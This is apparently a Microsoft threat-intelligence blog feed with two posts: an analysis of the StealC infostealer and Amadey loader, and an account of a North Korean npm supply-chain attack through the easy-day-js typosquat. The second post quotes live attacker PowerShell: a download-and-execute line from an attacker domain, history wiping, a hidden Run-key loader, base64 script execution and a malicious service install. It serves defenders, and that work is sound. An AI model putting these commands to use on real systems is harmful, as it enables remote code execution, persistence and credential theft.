Infostealers continue to be some of the most pervasive and impactful threats across the cybercrime ecosystem. They play a central role in intrusions, silently harvesting passwords, cookies, and session tokens before exfiltrating stolen data to attacker-controlled infrastructure. If not mitigated, these threats can turn a single consumer-device compromise into an enterprise risk: an infostealer infection on an employee’s personal device could yield corporate virtual private network (VPN) credentials, single sign-on (SSO) tokens, and session cookies that could allow an attacker to bypass multifactor authentication (MFA).  

In the cybercriminal ecosystem, infostealer families like StealC and malware delivery services like Amadey are sold and rented as commodities. Stolen data flows through an underground economy of access brokers that feeds ransomware and other operations. Because the initial infection usually happens outside managed endpoints, defenders might see the breach only after valid credentials are abused, underscoring the importance of identity protection, credential hygiene, and rapid response. 

In this blog, we examine how the infostealer economy has grown into a major threat to enterprise security, with a focus on StealC and Amadey. StealC is an infostealer that collects sensitive data from browsers, cryptocurrency wallets, messaging applications, email clients, and gaming platforms. It is a malware-as-a-service (MaaS) offering that threat actors use to generate customized payloads and manage stolen data through a centralized web panel. Meanwhile, Amadey is a MaaS loader that threat actors use to deliver StealC and other malware. Modular, pay-as-you-go models like StealC and Amadey allow threat actors to use a single initial infection to quickly escalate into multiple other threats.

On June 24, 2026, Microsoft’s Digital Crimes Unit (DCU), working with Europol and industry partners, announced a coordinated disruption action resulting in the takedown, suspension, and blocking of domains and command-and-control (C2) servers that formed the backbone of StealC and Amadey infrastructure. In total, DCU identified over 200 malicious Amadey and StealC command-and-control domains and IPs and moved to shut them down through a mix of court orders, domain seizures, registrations, and provider notifications.As part of this disruption, DCU engineered tools, including the use of Microsoft Copilot, to analyze StealC and Amadey binaries efficiently. These efforts included creating a prompt agent for performing comprehensive analysis of functions, using prompt engineering to generate a Python script for string decryption and extraction of configuration parameters, using Copilot to analyze disassembled malware code and identify C2 servers hardcoded into the malware binaries, and writing software with assistance from Copilot to confirm C2 activity.

The role of infostealers: From credential theft to intrusion

Infostealers like StealC, Lumma Stealer, RedLine, Raccoon, and Vidar enable division of labor across the cybercriminal ecosystem: initial operators deploy the malware at scale, and access brokers validate and monetize the stolen credentials, then resell them at a premium to threat actors seeking a foothold into enterprise environments.

When successfully deployed and executed, information-stealing malware can harvest credentials (usernames, passwords, and session cookies) from infected environments and export them as logs to the attackers’ server. These logs can hold credentials and tokens present on the compromised device, including corporate VPN, email, cloud, and SSO accounts. Stolen corporate credentials are extremely valuable, because a single working account can unlock many enterprise systems at once, especially if MFA could be bypassed using stolen session cookies. 

How an infostealer attack unfolds

While individual families differ in their tradecraft, infostealer-enabled intrusions follow a remarkably consistent path from delivery to impact. The infection chain could begin on an unmanaged or lightly protected device and end, often weeks later, inside a corporate environment, using credentials that look entirely legitimate.

Infostealer operators favor delivery techniques that scale and rely on ordinary user behavior rather than software vulnerabilities. The most common is deceptive web traffic: search engine optimization (SEO) poisoning and malicious advertising push fake or trojanized versions of popular software, “cracked” applications, and game cheats to the top of search results. A user looking for a free utility downloads a working program bundled with a stealer. A fast-growing variant is the ClickFix technique, in which a website tricks users into pasting a command into the Windows Run dialog or terminal, unknowingly executing the attacker’s script themselves, sidestepping many download-based defenses. Phishing email remains a reliable delivery path as well, particularly for campaigns that target specific organizations or individuals.

Lastly, infostealers are frequently delivered by other malware. Loaders like Amadey, upon establishing a foothold, deploy a stealer, a banking trojan, or additional tooling on demand. Once the loader unpacks the infostealer in memory and evades detection, the infostealer harvests target data. After exfiltrating stolen data, the malware typically deletes itself to hinder investigation. As we discuss in the next section, stolen credentials and tokens rarely stay with the original operator. These are packaged into logs and sold, validated by intermediaries, and eventually monetized as enterprise access, enabling account takeover, fraud, and ransomware.

How stolen credentials are monetized

Once exfiltrated, infostealer logs are rapidly monetized. Within hours, credentials from infected devices often appear on dark web markets or Telegram channels for USD $10-50 per log, while premium logs (with bank or corporate accounts) fetch higher prices, up to $100+ each. However, recent analysis by researchers at Reliaquest shows that Russian markets selling logs as low as $2 per log. These “breach packages” might be purchased in bulk by initial access brokers, specialized intermediaries who test and resell network access.

Alternatively, the operators who originally stole the logs themselves might directly exploit the high-value credentials without involving an access broker or buyer. For example, some ransomware groups deploy infostealers and then use the captured credentials to get inside target networks. The timeline for stolen infostealer credentials turning into enterprise breaches varies widely. Some intrusions occur within 48–72 hours of credentials being stolen, while other stolen credentials could sit dormant for months before they’re used by an attacker.

Infostealer infections often occur outside managed networks, for example, an employee’s home PC where corporate security monitoring is absent. The stolen sign-in reuse might not raise immediate alarms because attackers authenticate with legitimate credentials, even bypassing MFA if they have a session cookie. As a result, many compromised organizations only discover malicious activity after the attacker has taken action (for example, ransomware deployment or a large-scale data exfiltration event). This stealthy progression could make infostealer-driven intrusions a challenge to detect in time.

StealC: Infostealer for rent

StealC is representative of the modern malware-as-a-service stealer: threat actors rent access to a StealC builder to produce customized samples and a web panel to manage stolen data. This model keeps the barrier to entry low and the volume of distinct samples high. StealC is written in C++. Upon execution, it fingerprints the compromised system, collects saved credentials and cookies from a wide range of browsers, targets cryptocurrency wallets and messaging applications, captures data from email clients, steals Steam session data, takes screenshots of desktop, and exfiltrates credentials to its C2 server.

The malware also functions as a secondary loader, capable of downloading and executing additional payloads (.exe, MSI, or PowerShell scripts) on command from the C2. After completing its tasks, the malware can optionally self-delete to reduce forensic evidence. In addition, StealC queries the system’s default language and runs a language check, terminating itself if the locale matches Russian, Ukrainian, Belarusian, Kazakh, or Uzbek.

The malware attempts to create a Windows event using the victim ID as the event name. The victim ID format is <computer name>_<username>. If the event already exists, the malware enters a polling loop at intervals of less than five seconds (varies across variants) until the previous instance of itself completes. This is to avoid having multiple running instances on the device. StealC also contains an embedded expiration date. It compares the current system time against this expiration date and skips all malicious activity if the sample has expired.

C2 registration and configuration

StealC first sends a registration request to the C2 panel and constructs an HTTP POST request containing:

• Request type: create
• System hardware ID
• Malware build ID

This payload is RC4-encrypted using a hard-coded key, Base64-encoded, and then sent to the C2 through HTTP POST request. The decrypted C2 response is parsed as a JSON configuration object containing the following information:

• An access token used to authenticate all subsequent requests from the malware
• A list of browser stealing targets (paths, browser types, methods and types, which data to extract)
• A list of file-grabbing rules (target directories, file masks, size limits, recursion depth)
• Configuration flags controlling optional modules, including screenshot capture (take_screenshot), loader execution (loader), Steam theft (steal_steam), Outlook theft (steal_outlook), Foxmail theft (steal_foxmail), WinSCP theft (steal_winscp), and self-deletion (self_delete)

If this registration with C2 fails, the malware self-terminates immediately.

StealC performs a comprehensive collection of system information that is exfiltrated to the C2:

• Network information: IP address and country
• System identifiers: HWID, OS version and build number, system architecture
• User context: Username, computer name, running executable path
• Locale data: Local time, UTC offset, system language, installed keyboard layouts
• Hardware profile: CPU model, core and thread count, total RAM, battery/laptop detection
• Display configuration: Virtual screen resolution, monitor details (device name, adapter string, resolution, color depth)
• GPU information: Graphics adapter details
• Running processes: Full process list with names and PIDs enumerated through toolhelp snapshots
• Installed software: Application names and versions from the Uninstall registry keys for both all-users and current-user hives

Browser credential stealing

For Chromium browsers (like Chrome, Edge, Brave, Opera, Vivaldi, and others), the malware resolves the browser’s profile directory under %APPDATA% or %LOCALAPPDATA% and targets the following data stores:

• Sign-in data: saved user names and passwords
• Cookies: session cookies
• Web data: autofill entries and saved credit card information
• History: browsing history
• Local extension settings/Sync extension settings/IndexedDB: browser extension data (including cryptocurrency wallet extensions)

To defeat Chromium’s App-Bound Encryption (ABE), StealC does not decrypt these browser secrets within its own process. Instead, it carries an embedded payload (approximately 165 KB) that it injects into a sacrificial suspended process and executes through an asynchronous procedure call (APC). The injection sequence is as follows:

1. Spawns the target process with CreateProcessA using the CREATE_SUSPENDED flag
2. Allocates executable memory in the remote process with VirtualAllocEx (MEM_COMMIT, PAGE_EXECUTE_READWRITE).
3. Writes the embedded payload into that memory with WriteProcessMemory.
4. Queues the payload to the suspended thread with QueueUserAPC, then calls ResumeThread, so the APC fires and the payload runs in the process context
5. Waits for the injected code to finish with WaitForSingleObject, then frees the memory and closes the handles

Running in the target process context, the injected module performs the in-process decryption and writes the cleartext result to an inter process communication (IPC) file at C:\ProgramData\<HWID>.txt, where <HWID> is the victim hardware identifier. StealC then reads back up to 511 bytes of decrypted output from that file, processes the result, and deletes the temporary file. The routine retries the injection up to three times if it does not succeed.

The decrypted credential data is formatted as plaintext entries with fields for URL, login, and password, and is then exfiltrated to C2. For Firefox and other Gecko-based browsers (like Thunderbird, Waterfox, and others), the malware locates the profiles.ini to identify active browser profiles, then extracts data from the following:

• logins.json: stored credentials (hostname, encrypted user name, encrypted password)
• cookies.sqlite: session cookies
• formhistory.sqlite: form autofill data
• places.sqlite: browsing history and bookmarks

Additional credential theft activity

Beyond web browsers, StealC targets credentials saved by several desktop applications, processing each module in order and sending the results to the C2 as it completes them.

StealC enumerates Microsoft Outlook email account profiles stored in the registry under HKCU\Software\Microsoft\Office\<version>\Outlook\Profiles and HKCU\Software\Microsoft\Windows Messaging Subsystem\Profiles. It reads the account values for each profile, including the server settings and user names, and recovers the saved account passwords from their stored encrypted form so that mail server credentials (IMAP, POP3, and SMTP) could be exfiltrated.

The malware also targets the Foxmail email client. It locates the Foxmail data directory and parses account storage files (for example, the Accounts records under each account’s Storage folder). It then extracts the configured email addresses, server details, and saved passwords, decrypting Foxmail’s proprietary password encoding to recover the credentials in plaintext.

For the WinSCP File Transfer Protocol (FTP) and SSH FTP (SFTP) client, the malware collects saved session credentials from either the registry key HKCU\Software\Martin Prikryl\WinSCP 2\Sessions or, when portable storage is used, the WinSCP.ini file. For each session, it recovers the host name, user name, and password, reversing WinSCP’s custom password obfuscation so the stored credentials could be exfiltrated.

To perform file grabbing, the malware processes a list of rules received from the C2. Each rule specifies a target directory, file mask patterns, recursion depth, and optional size limits. The grabber uses recursive directory enumeration to walk the target path. Selected files are copied to a staging directory under C:\ProgramData and read into memory to be exfiltrated to C2. The temporary copy is then deleted.

If enabled in the C2 configuration, the malware specifically targets the Steam gaming application. First, it retrieves the Steam path from the registry key HKCU\SOFTWARE\Valve\Steam and then navigates to the configuration subdirectory inside and collects the following files:

• ssfn*
• config.vdf
• DialogConfig.vdf
• DialogConfigOverlay*.vdf
• libraryfolders.vdf
• loginusers.vdf

If enabled by the C2 configuration, the malware can also capture a full screenshot of the victim’s desktop using the following operations:

1. Obtains the virtual screen dimensions (spanning all monitors)
2. Performs a screen capture using a device context and bit-block transfer
3. Encodes the captured bitmap as a JPEG image at 90% quality
4. Exfiltrates the result

After data collection is complete, the malware contacts the C2 again with request type loaderwhile authenticating with the previously received access token. The C2 responds with a list of payloads to download and execute. The following three execution methods are supported:

• EXE execution: Downloads a file, saves it with an .exeextension, and executes the payload
• PowerShell cradle: Constructs a download-and-execute command (iwr <URL> |iex) and launches it through PowerShell
• MSI installation: Downloads a file, saves it with an .msi extension, and installs it silently through msiexec.exe /i “<path>” /passive

After all stealing modules have finished, the malware sends a final done notification to the C2 panel, including the access token. This signals to the operator that data collection for the compromised device is complete. All stolen data, such as system information, browser credentials, grabbed files, and screenshots, are transmitted in individual POST requests throughout the execution flow, each being RC4-encrypted and Base64-encoded. If the self-delete flag is set in the C2 configuration, the malware removes itself from disk as its final operation by executing the following command:

Amadey: Malware-as-a-service for delivery of infostealers

Active since at least 2018, Amadey operates as a malware-as-a-service (MaaS) that has been used as a delivery mechanism for downstream malware such as StealC, Lumma Stealer, remote access trojans (RATs), crypto miners, and, in some cases, ransomware.

In December of 2025, researchers at Trellix reported threat actors using the Amadey loader to retrieve the StealC infostealer from a compromised self-hosted GitLab instance, rather than from more familiar public hosting like GitHub. The point of that approach was to make the delivery infrastructure look more legitimate by using a long-established domain with valid TLS certificates, which can help the activity blend in and evade some traditional defenses.

This attack chain began with the first-stage Amadey loader. Once executed, the loader created a mutex to prevent duplication, performed discovery actions, and began communicating with its C2 server. Follow-on activities included the execution of additional components including a clipper plugin, use of PowerShell to expand archived payloads, deployment of additional payloads, and the execution of StealC, which communicated with its own separate C2 infrastructure after execution.

Amadey predates the current infostealer boom but has found renewed relevance as a delivery mechanism. It is a modular backdoor written in C++. It communicates with its C2 server over HTTP and supports backdoor commands for file download, file execution, command execution, modular updates, and network proxy. Operators can push plugins that add capabilities such as credential and clipboard theft, or simply use Amadey to download and run other malware, including infostealers. 

Scheduled task persistence

Upon execution, Amadey attempts to copy itself to the file nudwee.exe in the following target directory, depending on the system:

• On Windows 10 or Windows 11: C:\Users\<user name>\e079729711
• Others: %TEMP%\e079729711

After copying its own executable to this path, the malware executes it before creating a scheduled task to establish persistence for the payload.

System information collection

The malware builds a victim fingerprint POST request body with the following fields:

This body is then RC4-encrypted and hex-encoded and later sent to C2 during the C2 bot registration phase.

The malware continues its infection by querying the system registry for keyboard layouts. The malware specifically checks for the following layout IDs:

• 00000419: Russian
• 00000422: Ukrainian
• 00000423: Belarusian

This sets up an internal flag, which is checked before executing certain commands to skip certain functionalities like credential stealing and clipboard stealing.

C2 communication

The malware communicates with its C2 serverover HTTP. In the first phase, the malware performs a status check by sending “st=s“in an HTTP POST request to C2. The C2 server responds with a sleep multiplier, which is a value to specify how long the malware sleeps between command execution.

In the next phase, the malware performs bot registration by sending the RC4-encrypted victim information to the C2. Once this is complete, the C2 starts sending backdoor commands to the Amadey backdoor. After each backdoor command is executed, the malware sleeps for the specified duration before receiving a new backdoor command. All communications between the malware and its C2 infrastructure are encrypted using RC4, with the encryption key embedded in the malware’s configuration.

The following table lists the backdoor commands that Amadey could process and their descriptions:

Plugins like cred.dll and clip.dll are downloaded from the C2 server at runtime.

In the generic handler used by commands 0x0A, 0x0C, 0x1B, 0x1C, 0x1D, the C2 can specify one of these in the backdoor data for the payload drop location:

Defending against StealC and Amadey intrusions

To defend against attacks from infostealers like StealC and malware families like Amadey, Microsoft recommends the following mitigation measures:

• Read the human-operated ransomware threat overview for advice on developing a holistic security posture to prevent ransomware, including credential hygiene and hardening recommendations.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Turn on tenant-wide tamper protection features to prevent attackers from stopping security services or using antivirus exclusions. Without tamper protection, attackers could simply turn off Microsoft Defender Antivirus without the need to acquire higher privileges.
  • Customers running Intune or Microsoft Defender for Endpoint Security Configuration can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO.
  • In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy.
  • If there is an issue with a device during roll out of various antivirus features, the device can be placed in troubleshooting mode to turn off tamper protection temporarily without impacting the wider organizational security policy.
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:
  • Use advanced protection against ransomware

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Tool profile: Amadey
• Tool profile: StealC
• Tool profile: Lumma Stealer
• Tool profile: Information stealers

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

References

• Amadey Exploiting Self-Hosted GitLab to Distribute StealC Trellix
• HELLCAT Ransomware Group Strikes Again: Four New Victims Breached via Jira Credentials from Infostealer Logs InfoStealers by HudsonRock
• The Infostealer Pipeline How Russian Market Fuels Credential Based Attacks ReliaQuest
• Stealer Logs and Corporate Access Flare

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post StealC and Amadey: Breaking down infostealers and the cybercrime services that deliver them appeared first on Microsoft Security Blog.

June 19, 2026 update: Microsoft assesses with high confidence that this activity is attributable to Sapphire Sleet, a North Korean state actor that primarily targets the financial sector. The infrastructure and post-compromise TTPs observed in this campaign are consistent with previously documented Sapphire Sleet activity. Sapphire Sleet also conducted a separate npm supply chain compromise affecting Axios, a popular JavaScript HTTP client, in April 2026.

Microsoft Threat Intelligence observed a large-scale npm supply chain attack affecting 140+ packages across the mastra and @mastra scopes on the npm registry. Microsoft shared its findings with the npm security team, the compromised packages have been removed and the attacker’s publish access to the @mastra scope has been revoked. The compromise originated from the takeover of the ehindero npm maintainer account, which had publish rights across the Mastra ecosystem and was used to publish poisoned package versions that introduced easy-day-js, a malicious typosquat of the popular dayjs library. Microsoft assesses with high confidence that this activity is attributable to Sapphire Sleet.

Once installed, easy-day-js triggered a postinstall hook that executed an obfuscated dropper script, disabled Transport Layer Security (TLS) certificate verification, contacted attacker-controlled command-and-control (C2) infrastructure, downloaded a second-stage payload, and executed the payload as a detached hidden process. The activity followed a coordinated staged delivery pattern, with a clean bait version published first, followed by a weaponized version and rapid publication of the compromised Mastra packages.

Because the payload executes during installation, any developer workstation or continuous integration and continuous delivery (CI/CD) pipeline that ran npm install or npm update after the compromised versions were published was potentially exposed, regardless of whether the package was imported in application code.  This created risk to credentials, tokens, build environments, and downstream software integrity. Microsoft Defender Antivirus, Microsoft Defender for Endpoint, and Microsoft Defender XDR provide detections and hunting coverage for suspicious Node.js execution, malicious package behavior, reflective code loading, persistence activity and command-and-control communication.

Attack chain overview

At a high level, the attack progressed through seven phases:

• Account compromise: The threat actor gained control of the ehindero npm account, a listed maintainer with publish rights across the entire @mastra scope.
• Typosquat creation: The threat actor published easy-day-js, a package impersonating the legitimate dayjs library (57M+ weekly downloads), using a coordinating anonymous email account).
• Mass poisoning: Using the compromised account, the threat actor published new versions of 140+packages across the @mastra scope, each injected with easy-day-js@^1.11.21 as a new dependency. All poisoned versions were tagged as latest.
• Delivery: Developers and CI/CD pipelines running npm install automatically resolved to the compromised versions. The semantic versioning (SemVer) range ^1.11.21 resolved to 1.11.22, the version containing the malicious postinstall hook.
• Execution: The postinstall hook executed an obfuscated 4,572-byte dropper that disabled TLS verification, dropped tracking markers, and contacted the C2 server.
• Second-stage payload: The dropper fetched executable code from the C2 server, wrote it as a randomly named .js file, and spawned it as a fully detached, window-hidden Node.js process.
• Post-compromise tradecraft: On systems where the implant established C2 communication, Sapphire Sleet delivered a PowerShell backdoor from separate infrastructure, established additional persistence, added Defender exclusions, and installed a service-level implant for SYSTEM-context access.

Discovery and initial indicators

Microsoft Threat Intelligence identified the compromise through anomalous publishing patterns on the mastra package. All previous versions of mastra (through v1.13.0) were published through GitHub Actions OpenID Connect (OIDC), the legitimate CI/CD pipeline. Version 1.13.1 was manually published by ehindero using a Tutamail address, an anonymous email service.

The only change between mastra@1.13.0 and mastra@1.13.1 was the addition of easy-day-js@^1.11.21 as a dependency. No corresponding code changes were present in the Mastra GitHub repository. Both the compromised publisher (ehindero2016@tutamail.com) and the typosquat publisher (sergey2016@tutamail.com) used the same anonymous email provider, Tutamail.

Dependency injection: the poisoned package.json

The compromised mastra@1.13.1 package.json reveals the injected dependency alongside the anomalous publisher metadata:

The easy-day-js dependency was not present in any prior versions of mastra npm packages. Its addition, paired with the SemVer range ^1.11.21, ensures that the npm resolves to the weaponized 1.11.22 release.

Typosquat analysis: easy-day-js

The easy-day-js package is a deliberate impersonation of the legitimate dayjs library:

Staged delivery pattern

The typosquat used a two-phase delivery strategy:

• Phase 1 (clean bait): easy-day-js@1.11.21 was published at 07:05 UTC on June 16, 2026. This version contained only legitimate dayjs code with no postinstall hook.
• Phase 2 (weaponization): easy-day-js@1.11.22 was published at 01:01 UTC on June 17, 2026, adding the setup.cjs payload and the postinstall hook. The dayjs.min.js file is byte-identical between both versions, confirming only the dropper was added.

The weaponized package.json in version 1.11.22 exposes the postinstall hook:

Obfuscation and payload analysis

Stage 0: Obfuscated dropper (setup.cjs)

The setup.cjs payload is protected with JavaScript obfuscation using rotated string arrays and a custom base64 decoder function:

The obfuscation technique uses a common pattern: an array of 40 Base64-encoded strings is shuffled at initialization using a numeric seed (0x4c11d), then accessed through a decoder function that performs Base64 decoding with character substitution. This prevents static analysis tools from extracting meaningful strings.

Stage 1: String table decryption

Decoding the rotated string array reveals the payload’s true capabilities:

Key decoded strings include the secondary C2 address (23.254.164[.]123:443), Node.js built-in module references (node:child_process, node:os), and file system operations (writeFileSync, rmSync).

Stage 2: Deobfuscated payload logic

After resolving all string references and control flow, the full payload logic emerges as a five-step attack sequence:

TLS bypass to self-deletion

Step 1: Disable TLS verification. The payload sets NODE_TLS_REJECT_UNAUTHORIZED to ‘0’, disabling certificate validation for all HTTPS requests in the Node.js process. This enables communication with the C2 server without valid certificates.

Step 2: Drop filesystem markers. Two tracking files are written to the OS temp directory: $TMPDIR/.pkg_history contains the install path of the compromised package, and $TMPDIR/.pkg_logs contains the package name encoded with XOR 0x80:

Step 3: Fetch second-stage payload. The dropper issues a GET request to hxxps://23.254.164[.]92:8000/update/49890878 and reads the response body as text.

The second-stage payload is a ~41 KB cross-platform Node.js tasking client. Unlike a fire-and-forget stealer, the implant installs sign-in persistence, sends a Start beacon to the C2, then enters a repeated Check poll loop. Tasks returned by the server are dispatched to built-in runners (a Node runner and a Shell runner), and it honors configuration update and exit commands, meaning the operator can push and execute arbitrary follow-on code on the host at any time. On Windows, the payload additionally executes reflective .NET assembly injection for in-memory code execution.

Step 3.A: Windows execution chain. On Windows, the payload performs host reconnaissance and reflective in-memory code execution before establishing persistence.

The payload enumerates all installed applications across three sources—Start Menu entries (Get-StartApps), registry Uninstall keys, and UWP packages (Get-AppxPackage)—to fingerprint the compromised host:

Each enumeration is wrapped in try/catch with silent error handling. The deduplicated results are exfiltrated back to the C2 for victim profiling, enabling the attacker to identify installed security products and high-value targets.

A second PowerShell script receives two C2 endpoint URLs through the SCRIPT_ARGS environment variable. It disables SSL certificate validation and defines an HTTP POST function that Base64-encodes request bodies using a legacy IE8 User-Agent string:

The first C2 request downloads a .NET DLL that is loaded directly into memory via reflection, completely bypassing disk-based detection. The script resolves the Extension.SubRoutine class and invokes its Run2 method with a second downloaded payload, the path to cmd.exe, and the C2 callback address:

This pattern is consistent with process injection, where the payload is injected into a cmd.exe process that communicates back to the C2 over HTTPS (port 443). The entire chain is fileless—no artifacts are written to disk.

Step 3.B: Cross-platform persistence. The implant installs login persistence on all three major operating systems, using a consistent NVM/Node masquerade theme across platforms:

On Windows, the Run key launches a hidden PowerShell process that invokes Node.js:

On Linux, the systemd user unit restarts the implant on failure with a 5-second delay:

All three persistence paths drop the implant as protocal.cjs (a deliberate misspelling) into directories named to mimic legitimate Node.js installations. The value name NvmProtocal, the macOS label com.nvm.protocal, and the Linux unit nvmconf.service are deliberately designed to blend into a developer workstation.

Step 3.C: Collection and exfiltration. The implant performs the following collection before exfiltrating to the C2:

• Cryptocurrency wallet inventory: A hardcoded list of 166 wallet browser-extension IDs (MetaMask, Phantom, Coinbase Wallet, Binance Wallet, TronLink, and others) is matched against installed extensions across Chrome, Edge, and Brave profiles.
• Browser history: Each profile’s History SQLite database is copied to a temp directory prefixed with browser-hist- and queried through node:sqlite.
• Host reconnaissance: Gather hostname, architecture, platform, user ID, installed applications, and running processes.

Collected data is exfiltrated using a custom ICAP-style protocol over HTTPS POST (reqmod, PrimaryUrl, SecondaryUrl headers), with hostnames resolved through node:dns and traffic carrying a spoofed legacy IE8 User-Agent string.

Following successful exfiltration, the implant’s shell runner capability enables the operator to pivot from automated collection to interactive hands-on-keyboard access.

Microsoft observed the actor delivering a dedicated PowerShell backdoor from separate C2 infrastructure, representing an escalation to persistent, actor-controlled access on high-value targets. The PowerShell backdoor, tradecraft, and C2 infrastructure have been used by Sapphire Sleet in other, prior campaigns.

Step 3.D: Backdoor delivery. Through the Node.js implant’s shell runner capability, Sapphire Sleet  downloads and executes a PowerShell script from a separate attacker-controlled domain:

powershell -w h -c "iwr -UseBasicParsing https[:]//teams[.]onweblive[.]org/api/update/8555575039/4|iex"

Upon execution, the script immediately performs anti-forensic cleanup by deleting the PowerShell command history file and disabling future history recording:

Remove-Item (Get-PSReadLineOption).HistorySavePath -Force Set-PSReadLineOption -HistorySaveStyle SaveNothing

Step 3.E: Host fingerprinting and C2 registration. The backdoor generates a unique 16-character alphanumeric victim identifier and collects detailed host metadata—username, hostname, OS version, boot time, architecture, admin status, installed antivirus products, installed applications (via registry Uninstall keys and desktop shortcuts), and browser extensions for Chrome, Brave, and Edge. This reconnaissance data is packaged into a JSON info beacon and sent to the C2 via HTTP POST:

$info_pkt = @{     type        = "info"     targetId    = $uid     currentTime = [int64][DateTimeOffset]::UtcNow.ToUnixTimeSeconds()     data = @{ username=$username; hostname=$hostname; timezone=$timezone;              bootTime=$bootTime; os="windows"; version=$version; arch=$arch;              applist=[string[]]$applist; extlist=[string[]]$extlist;              admin=$admin; vaccine=[string[]]$vaccine } }

All network communication uses a spoofed legacy IE8 User-Agent string (mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)) and HTTP POST with URL-encoded or JSON bodies. The script enters an infinite polling loop, beaconing every 10 seconds and backing off to 180-second intervals on network failure.

Step 3.F: Persistence and remote code execution. The backdoor establishes a separate persistence mechanism independent of the Node.js implant’s NvmProtocal Run key. It writes a hidden batch file to C:\ProgramData\system.bat and registers it under a deceptive Run key value named MicrosoftUpdate:

$batFile = Join-Path $env:PROGRAMDATA "system.bat" $batCont = 'start /min powershell -w h -c "& ([scriptblock]::Create(' +            '[System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -UseBasicParsing ' +            "-Uri '$url' -Method POST -Body 'wwps').Content))) '$url'" Set-Content -Path $batFile -Value $batCont -Encoding ASCII Set-ItemProperty -Path $batFile -Name Attributes -Value Hidden Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MicrosoftUpdate" -Value $batFile

This persistence loader re-fetches the backdoor body from the C2 on every logon by POSTing the keyword wwps, enabling the attacker to silently rotate the live payload without touching the endpoint. When the C2 responds with a script command, the backdoor decodes a Base64-encoded PowerShell payload, writes it to a temporary file (%TEMP%\{guid}.ps1), and executes it with -ExecutionPolicy Bypass in a hidden window:

$scpt = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($Command.scriptfile)) $tempFile = Join-Path $env:TEMP ("{0}.ps1" -f ([Guid]::NewGuid().ToString("N"))) Set-Content -Path $tempFile -Value $scpt -Encoding UTF8 -Force $cln = @("-NoProfile","-ExecutionPolicy","Bypass","-File",$tempFile) + $uid + $url Start-Process powershell.exe -WindowStyle Hidden -ArgumentList $cln

Step 3.G: Defense evasion and service-level persistence. After establishing interactive access, the operator escalates by adding a Microsoft Defender exclusion for C:\Windows\System32 to suppress detection of dropped tooling, then installs a persistent service that loads a malicious DLL at boot:

sc create scdev binPath= "c:\windows\system32\svchost.exe -k scdev" type= share start= auto reg add HKLM\SYSTEM\CurrentControlSet\services\scdev\Parameters /v ServiceDll /t REG_EXPAND_SZ /d c:\windows\system32\scdev.dll /f

The scdev service runs as a shared svchost.exe process under the SYSTEM context with automatic startup, providing Sapphire Sleet with boot-persistent, elevated access independent of user logon. This represents the final escalation stage—from a supply chain package compromise through automated credential theft to full interactive control with SYSTEM-level persistence.

Timeline analysis

Every package published by the ehindero account contained easy-day-js as an injected dependency. Packages last published by GitHub Actions CI/CD or other legitimate maintainers were not affected.

Attack timeline

** Microsoft Threat Intelligence monitoring observed easy-day-js@1.11.22 at 01:07 UTC and mastra@1.13.1 at 01:28 UTC on June 17, 2026

Who is Sapphire Sleet?

Sapphire Sleet is a North Korean state actor that has been active since at least March 2020. The threat actor focuses primarily on the finance sector, including cryptocurrency, venture capital, and blockchain organizations. These targets are often global, with a particular interest in the United States, as well as countries in Asia and the Middle East. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet often leverages social networking sites, such as LinkedIn, to initiate contact by directing users to click links, leading to malicious files hosted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial institutions like United States-based banks or cryptocurrency pages, and fraudulent meeting links that impersonate legitimate video conferencing applications, such as Zoom. Sapphire Sleet overlaps with activity tracked by other security vendors as UNC1069, STARDUST CHOLLIMA, Alluring Pisces, BlueNoroff, CageyChameleon, or CryptoCore.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

• Review dependency trees for direct or transitive usage of affected @mastra packages at the compromised versions listed above.
• Check for the presence of easy-day-js in node_modules/ or package-lock.json files across your projects and CI/CD environments.
